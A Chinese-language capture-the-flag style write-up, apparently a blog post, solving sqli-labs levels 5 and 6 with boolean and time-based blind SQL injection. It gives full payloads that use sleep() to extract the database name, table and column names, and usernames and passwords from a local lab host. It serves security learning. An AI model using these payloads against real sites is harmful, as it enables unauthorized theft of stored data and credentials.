sqli-labs第5-6关 详解

先打开第五关,我们尝试sql盲注

先看一个例子吧

某公司有一个站点,有一个showProduct.php页面,该页面接受名为ID的参数,该参数可唯一标识web站点上的每一件商品。访客可以按下列方式请求页面:

http://showProduct.php?id=1

http://showProduct.php?id=2

http://showProduct.php?id=3

http://showProduct.php?id=4

每个请求将显示顾客希望看到的商品数据,为保护数据库不向用户显示任何数据库错误,下列所有请求均显示第一件商品:

http://showProduct.php?id=1' or and 1=1

http://showProduct.php?id=attacker'

http://showProduct.php?id=-1

到目前为止,我们能看到这公司考虑到了安全性问题,但是我们继续推理过程

http://showProduct.php?id=2 or 1=1  //返回了第1件商品

http://showProduct.php?id=2 or 1=2  //返回了第2件商品

在第一个请求中,or 1=1让数据库返回所有商品。数据库检测该语句异常,显示第1件商品。

在第二个请求中,or 1=2对结果没有影响,所以显示第2件商品

不难发现,我们可以根据相同的原理对攻击做一些变化,例如,可以选择and逻辑运算符来替换or。这样一来

http://showProduct.php?id=2 and 1=1  //返回了第2件商品

http://showProduct.php?id=2 and 1=2  //返回了第1件商品

现在虽然可以操作SQL查询,但是却无法从中获取数据。此外,web服务器根据发送的条件回发不同的相应。我们据此可以确认SQL盲注的存在,并开始着手利用此漏洞。

了解这个了,我们来到sqli-labs第5关 学习一下,sql盲注

我们无法跟前4道题一样,发现没有回显出来用户名和密码,于是我们进行如下

?id=1' and 1=1--+

?id=1' or 1=2--+

用and连接条件时,  如果条件为真,则回显You are in...........

        如果条件为假,则没有回显。

用or连接条件时,    如果条件为假,则回显You are in...........

         如果条件为真,则没有回显。

用着两种pyload都可以,我这里采用and运算符了。

第一步我们先猜解库名的长度吧,利用延时注入,因为盲注一般页面时没有回显的,所以我们采用延时,当然这道题是有回显的

我们按照延时注入操作:

当我们测试长度为8时,出现了明显延时,所以我们确定数据库名为8个长度

http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+

数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left(database(),1)='s',sleep(5),1)--+

爆表名:

http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='users',sleep(5),5)--+

经过漫长的手注,我们就在limit 3,1中找到了表名 users

爆列名:

http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。

爆破值payload:

http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1)--+

http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

这个wp写的我手发慌,但是理解了这个盲注,学会了新姿势,但是这种重复性的工作,我们交给sqlmap做。

sqlmap怎么跑请参考https://www.cnblogs.com/junlebao/p/13758919.html第二种方法就是sqlmap跑出来的。

第6关和第五关类似:

双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap

例子是,来自《注入攻击与防御(第2版)》这本书。题是sqli-labs中的。

原文地址:https://www.cnblogs.com/junlebao/p/13789655.html